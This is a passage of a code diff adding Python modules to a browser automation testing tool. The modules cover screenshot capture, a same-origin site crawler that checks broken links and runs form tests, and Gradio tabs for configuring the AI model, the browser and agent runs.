+                "path": str(filepath),
+                "description": f"{description} - Error: {error_message[:50]}...",
+                "timestamp": datetime.now().isoformat(),
+                "url": page.url,
+                "title": await page.title(),
+                "error_message": error_message,
+                "type": "error"
+            }
+            
+            self.screenshots.append(screenshot_data)
+            logger.info(f"Error screenshot captured: {filename}")
+            
+            return screenshot_data
+            
+        except Exception as e:
+            logger.error(f"Error capturing error screenshot: {str(e)}")
+            return {
+                "filename": None,
+                "path": None,
+                "description": f"{description} - Error: {error_message[:50]}...",
+                "timestamp": datetime.now().isoformat(),
+                "url": page.url if page else "Unknown",
+                "title": "Error",
+                "error_message": error_message,
+                "type": "error",
+                "error": str(e)
+            }
+    
+    def get_screenshots(self) -> list:
+        """Get all captured screenshots."""
+        return self.screenshots
+    
+    def clear_screenshots(self):
+        """Clear the screenshots list."""
+        self.screenshots = []
+    
+    def get_screenshot_summary(self) -> Dict[str, Any]:
+        """Get a summary of captured screenshots."""
+        total_screenshots = len(self.screenshots)
+        successful_screenshots = len([s for s in self.screenshots if s.get('filename')])
+        error_screenshots = len([s for s in self.screenshots if s.get('type') == 'error'])
+        element_screenshots = len([s for s in self.screenshots if s.get('type') == 'element'])
+        
+        return {
+            "total_screenshots": total_screenshots,
+            "successful_screenshots": successful_screenshots,
+            "error_screenshots": error_screenshots,
+            "element_screenshots": element_screenshots,
+            "screenshots": self.screenshots
+        }
+    
+    def save_screenshots_metadata(self, filepath: str):
+        """Save screenshots metadata to a JSON file."""
+        try:
+            metadata = {
+                "capture_time": datetime.now().isoformat(),
+                "total_screenshots": len(self.screenshots),
+                "screenshots": self.screenshots
+            }
+            
+            with open(filepath, 'w') as f:
+                import json
+                json.dump(metadata, f, indent=2)
+            
+            logger.info(f"Screenshots metadata saved to: {filepath}")
+            
+        except Exception as e:
+            logger.error(f"Error saving screenshots metadata: {str(e)}")
+
+
+# Global screenshot capture instance
+screenshot_capture = ScreenshotCapture()
+
+
+async def capture_test_screenshot(
+    page: Page,
+    test_name: str,
+    step_description: str = "Test Step"
+) -> Dict[str, Any]:
+    """
+    Convenience function to capture a test screenshot.
+    
+    Args:
+        page: Playwright page object
+        test_name: Name of the test
+        step_description: Description of the test step
+        
+    Returns:
+        Dictionary containing screenshot metadata
+    """
+    description = f"{test_name} - {step_description}"
+    return await screenshot_capture.capture_screenshot(page, description)
+
+
+async def capture_error_screenshot(
+    page: Page,
+    test_name: str,
+    error_message: str
+) -> Dict[str, Any]:
+    """
+    Convenience function to capture an error screenshot.
+    
+    Args:
+        page: Playwright page object
+        test_name: Name of the test
+        error_message: The error message
+        
+    Returns:
+        Dictionary containing screenshot metadata
+    """
+    description = f"{test_name} - Error"
+    return await screenshot_capture.capture_error_screenshot(page, error_message, description)

src/utils/site_audit.py

@@ -0,0 +1,144 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Site Audit
+======================================================
+
+Site-wide intelligent audit: crawl pages, detect broken links, collect console/network errors,
+run form tests where applicable, and generate an aggregated report.
+"""
+
+import asyncio
+import logging
+from typing import Any, Dict, List, Set, Tuple
+from urllib.parse import urljoin, urlparse
+
+from playwright.async_api import Page
+
+from src.utils.intelligent_form_testing import IntelligentFormTester
+
+logger = logging.getLogger(__name__)
+
+
+class SiteAuditor:
+    def __init__(self, page: Page, form_tester_factory):
+        """page: a Playwright Page bound to a BrowserContext
+        form_tester_factory: callable that returns IntelligentFormTester for a given page
+        """
+        self.page = page
+        self.form_tester_factory = form_tester_factory
+
+    async def audit(self, start_url: str, max_pages: int = 10, max_depth: int = 2) -> Dict[str, Any]:
+        visited: Set[str] = set()
+        queue: List[Tuple[str, int]] = [(start_url, 0)]
+
+        origin = self._origin(start_url)
+
+        pages_summary: List[Dict[str, Any]] = []
+        broken_links: List[Dict[str, str]] = []
+
+        while queue and len(visited) < max_pages:
+            url, depth = queue.pop(0)
+            if url in visited or depth > max_depth:
+                continue
+            visited.add(url)
+
+            try:
+                await self.page.goto(url, wait_until='domcontentloaded')
+                await asyncio.sleep(0.5)
+
+                page_result: Dict[str, Any] = {
+                    "url": url,
+                    "title": await self.page.title(),
+                    "console_errors": await self._collect_console_errors(),
+                    "network_issues": [],
+                }
+
+                # Basic broken link scan on current page (HEAD requests)
+                links = await self._extract_links()
+                same_origin_links = [l for l in links if self._origin(l) == origin]
+
+                # Check a subset to keep runtime in bounds
+                for link in same_origin_links[:50]:
+                    status = await self._head_status(link)
+                    if status >= 400:
+                        broken = {"href": link, "status": str(status), "on_page": url}
+                        broken_links.append(broken)
+
+                # Run intelligent form testing if forms exist
+                has_form = (await self.page.locator("form").count()) > 0
+                if has_form:
+                    tester: IntelligentFormTester = self.form_tester_factory(self.page)
+                    try:
+                        await tester.discover_form_fields()
+                        scenarios = await tester.generate_test_scenarios()
+                        await tester.execute_test_scenarios(scenarios)
+                        form_report = await tester.generate_comprehensive_report()
+
+                        # Add basic accessibility checks for the page
+                        a11y = await tester.run_basic_accessibility_checks()
+
+                        page_result["form_testing"] = form_report
+                        page_result["accessibility"] = a11y
+                    except Exception as e:
+                        page_result["form_testing_error"] = str(e)
+
+                pages_summary.append(page_result)
+
+                # Enqueue next links
+                for link in same_origin_links:
+                    if link not in visited:
+                        queue.append((link, depth + 1))
+
+            except Exception as e:
+                logger.warning(f"Audit navigation error at {url}: {e}")
+                pages_summary.append({"url": url, "error": str(e)})
+
+        return {
+            "start_url": start_url,
+            "total_pages_visited": len(visited),
+            "pages": pages_summary,
+            "broken_links": broken_links,
+        }
+
+    async def _extract_links(self) -> List[str]:
+        anchors = await self.page.locator("a[href]").all()
+        urls: List[str] = []
+        base = self.page.url
+        for a in anchors[:200]:
+            try:
+                href = await a.get_attribute("href")
+                if href:
+                    urls.append(urljoin(base, href))
+            except Exception:
+                continue
+        return urls
+
+    async def _head_status(self, url: str) -> int:
+        try:
+            # Use context.request for lightweight request
+            resp = await self.page.context.request.get(url, max_redirects=2)
+            return resp.status
+        except Exception:
+            return 599
+
+    async def _collect_console_errors(self) -> List[str]:
+        # Snapshot console errors present in DOM if any common containers exist
+        errors: List[str] = []
+        try:
+            # Heuristic: look for aria role alert or typical error classes
+            loc = self.page.locator(".error, .alert-danger, [role='alert']").all()
+            for l in await loc:
+                try:
+                    txt = await l.text_content()
+                    if txt:
+                        errors.append(txt.strip())
+                except Exception:
+                    continue
+        except Exception:
+            pass
+        return errors
+
+    def _origin(self, url: str) -> str:
+        u = urlparse(url)
+        return f"{u.scheme}://{u.netloc}"
+
+

src/utils/utils.py

@@ -0,0 +1,50 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Utilities
+=====================================================
+
+Utility functions and helpers for the Fagun Browser Automation Testing Agent.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import base64
+import os
+import time
+from pathlib import Path
+from typing import Dict, Optional
+import requests
+import json
+import gradio as gr
+import uuid
+
+
+def encode_image(img_path):
+    if not img_path:
+        return None
+    with open(img_path, "rb") as fin:
+        image_data = base64.b64encode(fin.read()).decode("utf-8")
+    return image_data
+
+
+def get_latest_files(directory: str, file_types: list = ['.webm', '.zip']) -> Dict[str, Optional[str]]:
+    """Get the latest recording and trace files"""
+    latest_files: Dict[str, Optional[str]] = {ext: None for ext in file_types}
+
+    if not os.path.exists(directory):
+        os.makedirs(directory, exist_ok=True)
+        return latest_files
+
+    for file_type in file_types:
+        try:
+            matches = list(Path(directory).rglob(f"*{file_type}"))
+            if matches:
+                latest = max(matches, key=lambda p: p.stat().st_mtime)
+                # Only return files that are complete (not being written)
+                if time.time() - latest.stat().st_mtime > 1.0:
+                    latest_files[file_type] = str(latest)
+        except Exception as e:
+            print(f"Error getting latest {file_type} file: {e}")
+
+    return latest_files

src/webui/components/agent_settings_tab.py

@@ -0,0 +1,241 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Agent Settings Tab
+==============================================================
+
+UI components for agent configuration and settings.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import json
+import os
+
+import gradio as gr
+from gradio.components import Component
+from typing import Any, Dict, Optional
+from src.webui.webui_manager import WebuiManager
+from src.utils import config
+import logging
+from functools import partial
+
+logger = logging.getLogger(__name__)
+
+
+def update_model_dropdown(llm_provider):
+    """
+    Update the model name dropdown with predefined models for the selected provider.
+    """
+    # Use predefined models for the selected provider
+    if llm_provider in config.model_names:
+        return gr.Dropdown(choices=config.model_names[llm_provider], value=config.model_names[llm_provider][0],
+                           interactive=True)
+    else:
+        return gr.Dropdown(choices=[], value="", interactive=True, allow_custom_value=True)
+
+
+
+
+def create_agent_settings_tab(webui_manager: WebuiManager):
+    """
+    Creates an agent settings tab.
+    """
+    input_components = set(webui_manager.get_components())
+    tab_components = {}
+
+
+    with gr.Group():
+        with gr.Row():
+            llm_provider = gr.Dropdown(
+                choices=[provider for provider, model in config.model_names.items()],
+                label="🤖 AI Service Provider",
+                value=os.getenv("DEFAULT_LLM", "openai"),
+                info="Choose which AI company's service to use (OpenAI, Google, etc.)",
+                interactive=True
+            )
+            llm_model_name = gr.Dropdown(
+                label="🧠 AI Model",
+                choices=config.model_names[os.getenv("DEFAULT_LLM", "openai")],
+                value=config.model_names[os.getenv("DEFAULT_LLM", "openai")][0],
+                interactive=True,
+                allow_custom_value=True,
+                info="Pick the specific AI model to use (like GPT-4, Claude, etc.)"
+            )
+        with gr.Row():
+            llm_temperature = gr.Slider(
+                minimum=0.0,
+                maximum=2.0,
+                value=0.6,
+                step=0.1,
+                label="🎲 AI Creativity Level",
+                info="Lower = More predictable, Higher = More creative responses",
+                interactive=True
+            )
+
+            use_vision = gr.Checkbox(
+                label="👁️ Enable Visual Analysis",
+                value=True,
+                info="Let AI see and analyze screenshots of websites",
+                interactive=True
+            )
+
+            ollama_num_ctx = gr.Slider(
+                minimum=2 ** 8,
+                maximum=2 ** 16,
+                value=16000,
+                step=1,
+                label="📝 Memory Size (Ollama only)",
+                info="How much information AI can remember at once (higher = slower but smarter)",
+                visible=False,
+                interactive=True
+            )
+
+        with gr.Row():
+            llm_base_url = gr.Textbox(
+                label="🌐 Custom API URL",
+                value="",
+                info="Only needed if using a custom AI service (leave blank for standard services)"
+            )
+            llm_api_key = gr.Textbox(
+                label="🔑 Your API Key",
+                type="password",
+                value="",
+                info="Get this from your AI service provider (OpenAI, Google, etc.)"
+            )
+
+    with gr.Group():
+        with gr.Row():
+            planner_llm_provider = gr.Dropdown(
+                choices=[provider for provider, model in config.model_names.items()],
+                label="🎯 Planning AI Service",
+                info="Optional: Different AI for planning complex tasks",
+                value=None,
+                interactive=True
+            )
+            planner_llm_model_name = gr.Dropdown(
+                label="🧠 Planning AI Model",
+                interactive=True,
+                allow_custom_value=True,
+                info="AI model for planning and organizing tasks"
+            )
+        with gr.Row():
+            planner_llm_temperature = gr.Slider(
+                minimum=0.0,
+                maximum=2.0,
+                value=0.6,
+                step=0.1,
+                label="🎲 Planning AI Creativity",
+                info="How creative the planning AI should be",
+                interactive=True
+            )
+
+            planner_use_vision = gr.Checkbox(
+                label="👁️ Enable Visual Planning",
+                value=False,
+                info="Let planning AI see website screenshots",
+                interactive=True
+            )
+
+            planner_ollama_num_ctx = gr.Slider(
+                minimum=2 ** 8,
+                maximum=2 ** 16,
+                value=16000,
+                step=1,
+                label="📝 Planning Memory Size",
+                info="How much information planning AI can remember (Ollama only)",
+                visible=False,
+                interactive=True
+            )
+
+        with gr.Row():
+            planner_llm_base_url = gr.Textbox(
+                label="🌐 Planning API URL",
+                value="",
+                info="Custom URL for planning AI service (leave blank for standard)"
+            )
+            planner_llm_api_key = gr.Textbox(
+                label="🔑 Planning API Key",
+                type="password",
+                value="",
+                info="API key for planning AI service"
+            )
+
+    with gr.Row():
+        max_steps = gr.Slider(
+            minimum=1,
+            maximum=1000,
+            value=100,
+            step=1,
+            label="🔄 Maximum Testing Steps",
+            info="How many steps AI can take to complete a task",
+            interactive=True
+        )
+        max_actions = gr.Slider(
+            minimum=1,
+            maximum=100,
+            value=10,
+            step=1,
+            label="⚡ Actions Per Step",
+            info="How many actions AI can do in each step",
+            interactive=True
+        )
+
+    with gr.Row():
+        max_input_tokens = gr.Number(
+            label="📄 Maximum Text Input",
+            value=128000,
+            precision=0,
+            interactive=True
+        )
+        tool_calling_method = gr.Dropdown(
+            label="🛠️ AI Communication Method",
+            value="auto",
+            interactive=True,
+            allow_custom_value=True,
+            choices=['function_calling', 'json_mode', 'raw', 'auto', 'tools', "None"],
+            visible=True
+        )
+    tab_components.update(dict(
+        llm_provider=llm_provider,
+        llm_model_name=llm_model_name,
+        llm_temperature=llm_temperature,
+        use_vision=use_vision,
+        ollama_num_ctx=ollama_num_ctx,
+        llm_base_url=llm_base_url,
+        llm_api_key=llm_api_key,
+        planner_llm_provider=planner_llm_provider,
+        planner_llm_model_name=planner_llm_model_name,
+        planner_llm_temperature=planner_llm_temperature,
+        planner_use_vision=planner_use_vision,
+        planner_ollama_num_ctx=planner_ollama_num_ctx,
+        planner_llm_base_url=planner_llm_base_url,
+        planner_llm_api_key=planner_llm_api_key,
+        max_steps=max_steps,
+        max_actions=max_actions,
+        max_input_tokens=max_input_tokens,
+        tool_calling_method=tool_calling_method,
+    ))
+    webui_manager.add_components("agent_settings", tab_components)
+
+    llm_provider.change(
+        fn=lambda x: gr.update(visible=x == "ollama"),
+        inputs=llm_provider,
+        outputs=ollama_num_ctx
+    )
+    llm_provider.change(
+        lambda provider: update_model_dropdown(provider),
+        inputs=[llm_provider],
+        outputs=[llm_model_name]
+    )
+    planner_llm_provider.change(
+        fn=lambda x: gr.update(visible=x == "ollama"),
+        inputs=[planner_llm_provider],
+        outputs=[planner_ollama_num_ctx]
+    )
+    planner_llm_provider.change(
+        lambda provider: update_model_dropdown(provider),
+        inputs=[planner_llm_provider],
+        outputs=[planner_llm_model_name]
+    )
+

src/webui/components/browser_settings_tab.py

@@ -0,0 +1,181 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Browser Settings Tab
+===============================================================
+
+UI components for browser configuration and settings.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import os
+import gradio as gr
+
+def strtobool(val):
+    """Convert a string representation of truth to true (1) or false (0)."""
+    val = val.lower()
+    if val in ('y', 'yes', 't', 'true', 'on', '1'):
+        return 1
+    elif val in ('n', 'no', 'f', 'false', 'off', '0'):
+        return 0
+    else:
+        raise ValueError("invalid truth value %r" % (val,))
+import logging
+from gradio.components import Component
+
+from src.webui.webui_manager import WebuiManager
+from src.utils import config
+
+logger = logging.getLogger(__name__)
+
+async def close_browser(webui_manager: WebuiManager):
+    """
+    Close browser
+    """
+    if webui_manager.bu_current_task and not webui_manager.bu_current_task.done():
+        webui_manager.bu_current_task.cancel()
+        webui_manager.bu_current_task = None
+
+    if webui_manager.bu_browser_context:
+        logger.info("⚠️ Closing browser context when changing browser config.")
+        await webui_manager.bu_browser_context.close()
+        webui_manager.bu_browser_context = None
+
+    if webui_manager.bu_browser:
+        logger.info("⚠️ Closing browser when changing browser config.")
+        await webui_manager.bu_browser.close()
+        webui_manager.bu_browser = None
+
+def create_browser_settings_tab(webui_manager: WebuiManager):
+    """
+    Creates a browser settings tab.
+    """
+    input_components = set(webui_manager.get_components())
+    tab_components = {}
+
+    with gr.Group():
+        with gr.Row():
+            browser_binary_path = gr.Textbox(
+                label="Browser Binary Path",
+                lines=1,
+                interactive=True,
+                placeholder="e.g. '/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome'"
+            )
+            browser_user_data_dir = gr.Textbox(
+                label="Browser User Data Dir",
+                lines=1,
+                interactive=True,
+                placeholder="Leave it empty if you use your default user data",
+            )
+    with gr.Group():
+        with gr.Row():
+            use_own_browser = gr.Checkbox(
+                label="Use Own Browser",
+                value=bool(strtobool(os.getenv("USE_OWN_BROWSER", "false"))),
+                info="Use your existing browser instance",
+                interactive=True
+            )
+            keep_browser_open = gr.Checkbox(
+                label="Keep Browser Open",
+                value=bool(strtobool(os.getenv("KEEP_BROWSER_OPEN", "true"))),
+                info="Keep Browser Open between Tasks",
+                interactive=True
+            )
+            headless = gr.Checkbox(
+                label="Headless Mode",
+                value=False,
+                info="Run browser without GUI",
+                interactive=True
+            )
+            disable_security = gr.Checkbox(
+                label="Disable Security",
+                value=False,
+                info="Disable browser security",
+                interactive=True
+            )
+
+    with gr.Group():
+        with gr.Row():
+            window_w = gr.Number(
+                label="Window Width",
+                value=1280,
+                info="Browser window width",
+                interactive=True
+            )
+            window_h = gr.Number(
+                label="Window Height",
+                value=1100,
+                info="Browser window height",
+                interactive=True
+            )
+    with gr.Group():
+        with gr.Row():
+            cdp_url = gr.Textbox(
+                label="CDP URL",
+                value=os.getenv("BROWSER_CDP", None),
+                info="CDP URL for browser remote debugging",
+                interactive=True,
+            )
+            wss_url = gr.Textbox(
+                label="WSS URL",
+                info="WSS URL for browser remote debugging",
+                interactive=True,
+            )
+    with gr.Group():
+        with gr.Row():
+            save_recording_path = gr.Textbox(
+                label="Recording Path",
+                placeholder="e.g. ./tmp/record_videos",
+                info="Path to save browser recordings",
+                interactive=True,
+            )
+
+            save_trace_path = gr.Textbox(
+                label="Trace Path",
+                placeholder="e.g. ./tmp/traces",
+                info="Path to save Agent traces",
+                interactive=True,
+            )
+
+        with gr.Row():
+            save_agent_history_path = gr.Textbox(
+                label="Agent History Save Path",
+                value="./tmp/agent_history",
+                info="Specify the directory where agent history should be saved.",
+                interactive=True,
+            )
+            save_download_path = gr.Textbox(
+                label="Save Directory for browser downloads",
+                value="./tmp/downloads",
+                info="Specify the directory where downloaded files should be saved.",
+                interactive=True,
+            )
+    tab_components.update(
+        dict(
+            browser_binary_path=browser_binary_path,
+            browser_user_data_dir=browser_user_data_dir,
+            use_own_browser=use_own_browser,
+            keep_browser_open=keep_browser_open,
+            headless=headless,
+            disable_security=disable_security,
+            save_recording_path=save_recording_path,
+            save_trace_path=save_trace_path,
+            save_agent_history_path=save_agent_history_path,
+            save_download_path=save_download_path,
+            cdp_url=cdp_url,
+            wss_url=wss_url,
+            window_h=window_h,
+            window_w=window_w,
+        )
+    )
+    webui_manager.add_components("browser_settings", tab_components)
+
+    async def close_wrapper():
+        """Wrapper for handle_clear."""
+        await close_browser(webui_manager)
+
+    headless.change(close_wrapper)
+    keep_browser_open.change(close_wrapper)
+    disable_security.change(close_wrapper)
+    use_own_browser.change(close_wrapper)

src/webui/components/browser_use_agent_tab.py

@@ -0,0 +1,1299 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Browser Use Agent Tab
+================================================================
+
+UI components for running and managing browser automation tasks.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import json
+import logging
+import os
+import uuid
+from typing import Any, AsyncGenerator, Dict, Optional
+
+import gradio as gr
+
+# from browser_use.agent.service import Agent
+from browser_use.agent.views import (
+    AgentHistoryList,
+    AgentOutput,
+)
+from browser_use.browser.browser import BrowserConfig
+from browser_use.browser.context import BrowserContext, BrowserContextConfig
+from browser_use.browser.views import BrowserState
+from gradio.components import Component
+from langchain_core.language_models.chat_models import BaseChatModel
+
+from src.agent.browser_use.browser_use_agent import BrowserUseAgent
+from src.browser.custom_browser import CustomBrowser
+from src.controller.custom_controller import CustomController
+from src.utils import llm_provider
+from src.webui.webui_manager import WebuiManager
+
+logger = logging.getLogger(__name__)
+
+
+# --- Helper Functions --- (Defined at module level)
+
+
+async def _initialize_llm(
+        provider: Optional[str],
+        model_name: Optional[str],
+        temperature: float,
+        base_url: Optional[str],
+        api_key: Optional[str],
+        num_ctx: Optional[int] = None,
+) -> Optional[BaseChatModel]:
+    """Initializes the LLM based on settings. Returns None if provider/model is missing."""
+    if not provider or not model_name:
+        logger.info("LLM Provider or Model Name not specified, LLM will be None.")
+        return None
+    try:
+        # Use your actual LLM provider logic here
+        logger.info(
+            f"Initializing LLM: Provider={provider}, Model={model_name}, Temp={temperature}"
+        )
+        # Example using a placeholder function
+        llm = llm_provider.get_llm_model(
+            provider=provider,
+            model_name=model_name,
+            temperature=temperature,
+            base_url=base_url or None,
+            api_key=api_key or None,
+            # Add other relevant params like num_ctx for ollama
+            num_ctx=num_ctx if provider == "ollama" else None,
+        )
+        return llm
+    except Exception as e:
+        logger.error(f"Failed to initialize LLM: {e}", exc_info=True)
+        gr.Warning(
+            f"Failed to initialize LLM '{model_name}' for provider '{provider}'. Please check settings. Error: {e}"
+        )
+        return None
+
+
+def _get_config_value(
+        webui_manager: WebuiManager,
+        comp_dict: Dict[gr.components.Component, Any],
+        comp_id_suffix: str,
+        default: Any = None,
+) -> Any:
+    """Safely get value from component dictionary using its ID suffix relative to the tab."""
+    # Assumes component ID format is "tab_name.comp_name"
+    tab_name = "browser_use_agent"  # Hardcode or derive if needed
+    comp_id = f"{tab_name}.{comp_id_suffix}"
+    # Need to find the component object first using the ID from the manager
+    try:
+        comp = webui_manager.get_component_by_id(comp_id)
+        return comp_dict.get(comp, default)
+    except KeyError:
+        # Try accessing settings tabs as well
+        for prefix in ["agent_settings", "browser_settings"]:
+            try:
+                comp_id = f"{prefix}.{comp_id_suffix}"
+                comp = webui_manager.get_component_by_id(comp_id)
+                return comp_dict.get(comp, default)
+            except KeyError:
+                continue
+        logger.warning(
+            f"Component with suffix '{comp_id_suffix}' not found in manager for value lookup."
+        )
+        return default
+
+
+def _format_agent_output(model_output: AgentOutput) -> str:
+    """Formats AgentOutput for display in the chatbot using JSON."""
+    content = ""
+    if model_output:
+        try:
+            # Directly use model_dump if actions and current_state are Pydantic models
+            action_dump = [
+                action.model_dump(exclude_none=True) for action in model_output.action
+            ]
+
+            state_dump = model_output.current_state.model_dump(exclude_none=True)
+            model_output_dump = {
+                "current_state": state_dump,
+                "action": action_dump,
+            }
+            # Dump to JSON string with indentation
+            json_string = json.dumps(model_output_dump, indent=4, ensure_ascii=False)
+            # Wrap in <pre><code> for proper display in HTML
+            content = f"<pre><code class='language-json'>{json_string}</code></pre>"
+
+        except AttributeError as ae:
+            logger.error(
+                f"AttributeError during model dump: {ae}. Check if 'action' or 'current_state' or their items support 'model_dump'."
+            )
+            content = f"<pre><code>Error: Could not format agent output (AttributeError: {ae}).\nRaw output: {str(model_output)}</code></pre>"
+        except Exception as e:
+            logger.error(f"Error formatting agent output: {e}", exc_info=True)
+            # Fallback to simple string representation on error
+            content = f"<pre><code>Error formatting agent output.\nRaw output:\n{str(model_output)}</code></pre>"
+
+    return content.strip()
+
+
+# --- Updated Callback Implementation ---
+
+
+async def _handle_new_step(
+        webui_manager: WebuiManager, state: BrowserState, output: AgentOutput, step_num: int
+):
+    """Callback for each step taken by the agent, including screenshot display."""
+
+    # Use the correct chat history attribute name from the user's code
+    if not hasattr(webui_manager, "bu_chat_history"):
+        logger.error(
+            "Attribute 'bu_chat_history' not found in webui_manager! Cannot add chat message."
+        )
+        # Initialize it maybe? Or raise an error? For now, log and potentially skip chat update.
+        webui_manager.bu_chat_history = []  # Initialize if missing (consider if this is the right place)
+        # return # Or stop if this is critical
+    step_num -= 1
+    logger.info(f"Step {step_num} completed.")
+
+    # --- Screenshot Handling ---
+    screenshot_html = ""
+    # Ensure state.screenshot exists and is not empty before proceeding
+    # Use getattr for safer access
+    screenshot_data = getattr(state, "screenshot", None)
+    if screenshot_data:
+        try:
+            # Basic validation: check if it looks like base64
+            if (
+                    isinstance(screenshot_data, str) and len(screenshot_data) > 100
+            ):  # Arbitrary length check
+                # *** UPDATED STYLE: Removed centering, adjusted width ***
+                img_tag = f'<img src="data:image/jpeg;base64,{screenshot_data}" alt="Step {step_num} Screenshot" style="max-width: 800px; max-height: 600px; object-fit:contain;" />'
+                screenshot_html = (
+                        img_tag + "<br/>"
+                )  # Use <br/> for line break after inline-block image
+            else:
+                logger.warning(
+                    f"Screenshot for step {step_num} seems invalid (type: {type(screenshot_data)}, len: {len(screenshot_data) if isinstance(screenshot_data, str) else 'N/A'})."
+                )
+                screenshot_html = "**[Invalid screenshot data]**<br/>"
+
+        except Exception as e:
+            logger.error(
+                f"Error processing or formatting screenshot for step {step_num}: {e}",
+                exc_info=True,
+            )
+            screenshot_html = "**[Error displaying screenshot]**<br/>"
+    else:
+        logger.debug(f"No screenshot available for step {step_num}.")
+
+    # --- Format Agent Output ---
+    formatted_output = _format_agent_output(output)  # Use the updated function
+
+    # --- Combine and Append to Chat ---
+    step_header = f"--- **Step {step_num}** ---"
+    # Combine header, image (with line break), and JSON block
+    final_content = step_header + "<br/>" + screenshot_html + formatted_output
+
+    chat_message = {
+        "role": "assistant",
+        "content": final_content.strip(),  # Remove leading/trailing whitespace
+    }
+
+    # Append to the correct chat history list
+    webui_manager.bu_chat_history.append(chat_message)
+
+    await asyncio.sleep(0.05)
+
+
+def _handle_done(webui_manager: WebuiManager, history: AgentHistoryList):
+    """Callback when the agent finishes the task (success or failure)."""
+    logger.info(
+        f"Agent task finished. Duration: {history.total_duration_seconds():.2f}s, Tokens: {history.total_input_tokens()}"
+    )
+    final_summary = "**Task Completed**\n"
+    final_summary += f"- Duration: {history.total_duration_seconds():.2f} seconds\n"
+    final_summary += f"- Total Input Tokens: {history.total_input_tokens()}\n"  # Or total tokens if available
+
+    final_result = history.final_result()
+    if final_result:
+        final_summary += f"- Final Result: {final_result}\n"
+
+    errors = history.errors()
+    if errors and any(errors):
+        final_summary += f"- **Errors:**\n```\n{errors}\n```\n"
+    else:
+        final_summary += "- Status: Success\n"
+
+    webui_manager.bu_chat_history.append(
+        {"role": "assistant", "content": final_summary}
+    )
+
+
+async def _ask_assistant_callback(
+        webui_manager: WebuiManager, query: str, browser_context: BrowserContext
+) -> Dict[str, Any]:
+    """Callback triggered by the agent's ask_for_assistant action."""
+    logger.info("Agent requires assistance. Waiting for user input.")
+
+    if not hasattr(webui_manager, "_chat_history"):
+        logger.error("Chat history not found in webui_manager during ask_assistant!")
+        return {"response": "Internal Error: Cannot display help request."}
+
+    webui_manager.bu_chat_history.append(
+        {
+            "role": "assistant",
+            "content": f"**Need Help:** {query}\nPlease provide information or perform the required action in the browser, then type your response/confirmation below and click 'Submit Response'.",
+        }
+    )
+
+    # Use state stored in webui_manager
+    webui_manager.bu_response_event = asyncio.Event()
+    webui_manager.bu_user_help_response = None  # Reset previous response
+
+    try:
+        logger.info("Waiting for user response event...")
+        await asyncio.wait_for(
+            webui_manager.bu_response_event.wait(), timeout=3600.0
+        )  # Long timeout
+        logger.info("User response event received.")
+    except asyncio.TimeoutError:
+        logger.warning("Timeout waiting for user assistance.")
+        webui_manager.bu_chat_history.append(
+            {
+                "role": "assistant",
+                "content": "**Timeout:** No response received. Trying to proceed.",
+            }
+        )
+        webui_manager.bu_response_event = None  # Clear the event
+        return {"response": "Timeout: User did not respond."}  # Inform the agent
+
+    response = webui_manager.bu_user_help_response
+    webui_manager.bu_chat_history.append(
+        {"role": "user", "content": response}
+    )  # Show user response in chat
+    webui_manager.bu_response_event = (
+        None  # Clear the event for the next potential request
+    )
+    return {"response": response}
+
+
+# --- Core Agent Execution Logic --- (Needs access to webui_manager)
+
+
+async def run_agent_task(
+        webui_manager: WebuiManager, components: Dict[gr.components.Component, Any]
+) -> AsyncGenerator[Dict[gr.components.Component, Any], None]:
+    """Handles the entire lifecycle of initializing and running the agent."""
+
+    # --- Get Components ---
+    # Need handles to specific UI components to update them
+    user_input_comp = webui_manager.get_component_by_id("browser_use_agent.user_input")
+    run_button_comp = webui_manager.get_component_by_id("browser_use_agent.run_button")
+    stop_button_comp = webui_manager.get_component_by_id(
+        "browser_use_agent.stop_button"
+    )
+    pause_resume_button_comp = webui_manager.get_component_by_id(
+        "browser_use_agent.pause_resume_button"
+    )
+    clear_button_comp = webui_manager.get_component_by_id(
+        "browser_use_agent.clear_button"
+    )
+    chatbot_comp = webui_manager.get_component_by_id("browser_use_agent.chatbot")
+    history_file_comp = webui_manager.get_component_by_id(
+        "browser_use_agent.agent_history_file"
+    )
+    gif_comp = webui_manager.get_component_by_id("browser_use_agent.recording_gif")
+    browser_view_comp = webui_manager.get_component_by_id(
+        "browser_use_agent.browser_view"
+    )
+
+    # --- 1. Get Task and Initial UI Update ---
+    task = components.get(user_input_comp, "").strip()
+    if not task:
+        gr.Warning("Please enter a task.")
+        yield {run_button_comp: gr.update(interactive=True)}
+        return
+
+    # Set running state indirectly via _current_task
+    webui_manager.bu_chat_history.append({"role": "user", "content": task})
+
+    yield {
+        user_input_comp: gr.Textbox(
+            value="", interactive=False, placeholder="Agent is running..."
+        ),
+        run_button_comp: gr.Button(value="⏳ Running...", interactive=False),
+        stop_button_comp: gr.Button(interactive=True),
+        pause_resume_button_comp: gr.Button(value="⏸️ Pause", interactive=True),
+        clear_button_comp: gr.Button(interactive=False),
+        chatbot_comp: gr.update(value=webui_manager.bu_chat_history),
+        history_file_comp: gr.update(value=None),
+        gif_comp: gr.update(value=None),
+    }
+
+    # --- Agent Settings ---
+    # Access settings values via components dict, getting IDs from webui_manager
+    def get_setting(key, default=None):
+        comp = webui_manager.id_to_component.get(f"agent_settings.{key}")
+        return components.get(comp, default) if comp else default
+
+    override_system_prompt = get_setting("override_system_prompt") or None
+    extend_system_prompt = get_setting("extend_system_prompt") or None
+    llm_provider_name = get_setting(
+        "llm_provider", None
+    )  # Default to None if not found
+    llm_model_name = get_setting("llm_model_name", None)
+    llm_temperature = get_setting("llm_temperature", 0.6)
+    use_vision = get_setting("use_vision", True)
+    ollama_num_ctx = get_setting("ollama_num_ctx", 16000)
+    llm_base_url = get_setting("llm_base_url") or None
